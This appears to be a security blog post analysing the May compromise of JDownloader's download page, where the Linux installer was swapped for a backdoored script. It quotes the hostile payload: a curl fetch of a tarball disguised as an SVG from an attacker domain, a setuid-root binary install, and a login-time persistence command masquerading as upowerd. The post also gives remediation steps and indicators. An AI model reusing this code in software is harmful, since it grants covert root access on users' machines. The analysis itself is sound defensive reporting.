JDownloader's Linux Installer Delivered a Root Backdoor

I have relied on JDownloader for years. It is the sort of unglamorous tool you install once and forget about until you need to pull a 40 GB archive at 3 a.m. So when the official site went dark on 7 May and users began asking if it was compromised, I paid attention.

The developer’s thread on r/jdownloader was unusually candid. Within hours of the first reports the team confirmed the alternative-download page had been rewritten, took the site down, and began publishing a precise timeline. The attack began with a test on a dummy subsite at 23:55 GMT on 5 May. At 00:01 GMT on 6 May the real damage occurred: every link on the alternative-installer page was swapped for attacker-controlled binaries.

What the attacker actually changed

Only the Windows .exe links and the Linux shell script were replaced. The main JDownloader.jar, all macOS packages, in-app updates, and every third-party distribution (Flatpak, Snap, Winget, the majority of Docker images) remained untouched because they pull from separate, checksum-verified infrastructure. The developer stated repeatedly that updates use end-to-end digital signatures on different servers. That part of the stack was never in play.

The Windows samples that reached me are large install4j executables. They trigger the same heuristic noise the legitimate versions have produced for years: missing or invalid signatures, Adoptium JDK fetch behaviour, and install4j registry keys. I have not executed them yet in a clean environment, so I will not declare them harmless. What is clear is that the attacker’s first modification was simply the removal of the valid Authenticode signature. Which made SmartScreen unhappy, hopefully preventing most people from running them.

The Linux sample is different

The unix_nojre.sh script the attacker hosted is where the real work happened. I pulled the exact file the developer later shared and examined it line by line.

Everything up to the final conditional block is bog-standard install4j boilerplate. The payload begins at this point:

if [[ "$(arch)" = "x86_64" && ! -f /usr/bin/systemd-exec ]]; then
    DIR2="$(mktemp -d)"
    curl -sLk "https[:]//checkinnhotels[.]com/img/logo1.svg" -o "$DIR2/packed.tar.gz" 2>/dev/null
    tar -xzf "$DIR2/packed.tar.gz" -C "$DIR2" 2>/dev/null
    cp "$DIR2/systemd-exec" /usr/bin/systemd-exec && chown root:root /usr/bin/systemd-exec && chmod 4755 /usr/bin/systemd-exec
    ...

The script:

• Targets only x86_64 systems and checks that the setuid binary does not already exist (a crude anti-reinfection guard).
• Downloads what is presented as an SVG from checkinnhotels[.]com but is in fact a tarball containing the implant.
• Installs /usr/bin/systemd-exec as a setuid-root wrapper.
• Drops the real payload to /root/.local/share/.pkg.
• Writes two marker files containing what appear to be encrypted configuration blobs.
• Sources the profile script immediately so the backdoor activates in the current session, then cleans up its temporary files.

Creates /etc/profile.d/systemd.sh that launches the implant on every login, disguised as the legitimate upowerd process:

(USER=root HOME=/root nohup /usr/bin/systemd-exec bash -c 'exec -a /usr/libexec/upowerd /root/.local/share/.pkg' >/dev/null 2>&1 &)

This is not just adware. It is instead a working privilege-escalation and persistence implant that survives reboots and gives the attacker root execution on any machine where the script was run as root (which the installer itself demands).

The VirusTotal report for the sample shows the same network behaviour: the curl to the hotel domain, followed by the creation of the setuid binary and the profile script. Same thing according to OPSWAT's Filescan, which surfaced the IOC of the hotel website. Detection engines flag it as a backdoor or Linux implant; the behavioural trace is unambiguous.

Why this matters now

The attacker did not need to compromise JDownloader’s build system or steal its code-signing certificate. They only needed write access to two pages on the website. An unpatched ACL misconfiguration gave them exactly that. Once the links were swapped, the rest was social engineering: users who bypassed SmartScreen or ran the Linux script as root did the rest.

The developer’s response was the one bright spot. Rapid takedown, detailed public timeline, provision of clean MEGA mirrors, and sharing of the compromised samples for analysis. That level of transparency is rare in incidents of this type.

What you should do

If you ran the compromised Linux script as root, assume the machine is fully compromised. Reinstall from trusted media, rotate every password that machine ever touched, and audit /usr/bin/systemd-exec, /root/.local/share/, and /etc/profile.d/ for the artefacts described above.

Existing JDownloader installations that have been updating through the in-app mechanism were never at risk. The updater infrastructure sits on separate servers with end-to-end signatures. Third-party packages (Flatpak, Snap, Winget, most Docker images) continue to pull clean artefacts.

For fresh installs, use only the signed binaries now hosted on the MEGA links the team has endorsed, or stick to package-manager distributions. The core application itself remains trustworthy. The website was the weak link, and the Linux vector shows what happens when that link is exploited.

The incident is contained, but it is a reminder that even mature, open-source projects can be undermined by a single unhardened web server. Users who executed the Linux installer paid the price. Everyone else can continue using JDownloader with the same confidence they had before 6 May, provided they avoid the poisoned links that briefly lived on the official site.